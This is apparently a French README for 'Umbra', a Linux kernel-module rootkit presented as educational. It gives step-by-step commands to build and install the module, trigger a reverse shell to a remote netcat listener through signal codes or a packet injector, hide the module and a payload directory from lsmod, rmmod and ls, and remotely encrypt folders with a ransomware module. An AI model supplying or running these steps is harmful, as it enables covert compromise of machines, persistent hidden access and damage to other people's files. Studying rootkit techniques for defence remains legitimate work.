
Un rootkit LKM ciblant les versions de noyau 4.x et 5.x, qui ouvre une porte dérobée pouvant générer un shell inversé vers un hôte distant, exécuter des malwares et plus encore.

Umbra est un rootkit LKM expérimental contrôlable à distance pour les noyaux 4.x et 5.x (jusqu'à 5.7) qui ouvre une backdoor réseau pouvant lancer des shells inversés vers des hôtes distants, exécuter des malwares à distance et bien plus encore.
Le rootkit est encore en développement, bien que les fonctionnalités listées ci-dessous soient déjà pleinement opérationnelles.

Note : Ce rootkit a été développé et testé avec le noyau 5.4.0 et Ubuntu 18.04.

D'autres fonctionnalités arriveront dans les prochaines mises à jour.
Ce rootkit est uniquement à des fins éducatives. Je ne suis pas responsable des dommages résultant d'une utilisation inappropriée.
Gardez également à l'esprit qu'Umbra n'intègre que de légers mécanismes de dissimulation et de protection. Il n'est pas destiné à être utilisé dans un scénario réel.
IMPORTANT : Si vous comptez tester ce rootkit sur votre propre machine, je recommande fortement d'utiliser une VM.
À propos des Umbra Modules : Le module ransom utilise un mécanisme de chiffrement trivial, mais il peut et va certainement chiffrer n'importe quel dossier de votre machine. Bien que les fichiers puissent être facilement déchiffrés, je déconseille vraiment de l'exécuter sur votre dossier racine ou équivalent, sauf dans un environnement contrôlé.
N'oubliez pas que vous devez disposer d'un noyau 4.x ou 5.x.
apt install linux-headers-$(uname -r)
Configurez votre chemin d'inclusion pour couvrir le répertoire des en-têtes du noyau (généralement sous /usr/src). Si vous utilisez vscode, vous pouvez consulter .vscode/c_cpp_properties.json pour un exemple des répertoires à inclure.
Clonez le projet
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
Si vous avez déjà exécuté le script et souhaitez simplement installer Umbra dans le noyau, vous pouvez lancer :
sudo insmod ./umbra.ko
Assurez-vous qu'Umbra n'est pas en mode invisible, sinon cela échouera.
sudo rmmod umbra
kill -50 1
Définissez l'IP et le port souhaités dans CONFIG.H avant de compiler le rootkit. Par défaut 127.0.0.1:5888
Commencez à écouter sur l'hôte distant.
nc -lvp 5888
kill -51 1
Note : Umbra tente également de lancer le shell inversé au chargement.
Cela empêchera le rootkit d'être affiché par des commandes telles que lsmod, ou d'être supprimé via rmmod.
kill -52 1
Cela annule le mode invisible s'il est actif.
kill -53 1
L'Umbra Injector peut être exécuté soit avant l'installation d'Umbra (obtenant ainsi le shell une fois celui-ci actif), soit après l'installation d'Umbra sur le système cible.
./injector -S 127.0.0.1
La backdoor écoute les paquets contenant la charge utile suivante :
UMBRA_PAYLOAD_GET_REVERSE_SHELL.
Vous pouvez également créer votre propre injecteur en utilisant ma bibliothèque RawTCP.
Cela empêchera le rootkit d'être affiché par des commandes telles que lsmod, ou d'être supprimé via rmmod.
./injector -i 127.0.0.1
Cela annule le mode invisible s'il est actif.
./injector -u 127.0.0.1
Vous pouvez voir toutes les informations sur la façon d'exécuter l'Umbra Injector avec :
./injector -h
Les Umbra Modules seront stockés par le script install.sh dans /tmp/umbra, où Umbra les masquera. Le répertoire ne sera pas visible par des commandes telles que ls ou similaires.
Ce module peut lancer des attaques de type ransomware à distance via l'Umbra Injector. Les fichiers chiffrés apparaissent avec l'extension .ubr.
Actuellement, le mécanisme de chiffrement est un simple NOP au niveau du bit, à titre de preuve de concept. Vous pouvez modifier le module pour y inclure votre propre algorithme de chiffrement.
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
Le développement de ce rootkit a impliqué une quantité substantielle de recherches sur les LKM et les techniques de rootkit. La liste suivante est une liste incomplète des ressources que j'ai utilisées : Comment créer des LKM :
Référence des appels système Linux :
Quelques références sur les rootkits :
Ce projet est sous licence GPLv2. Voir LICENSE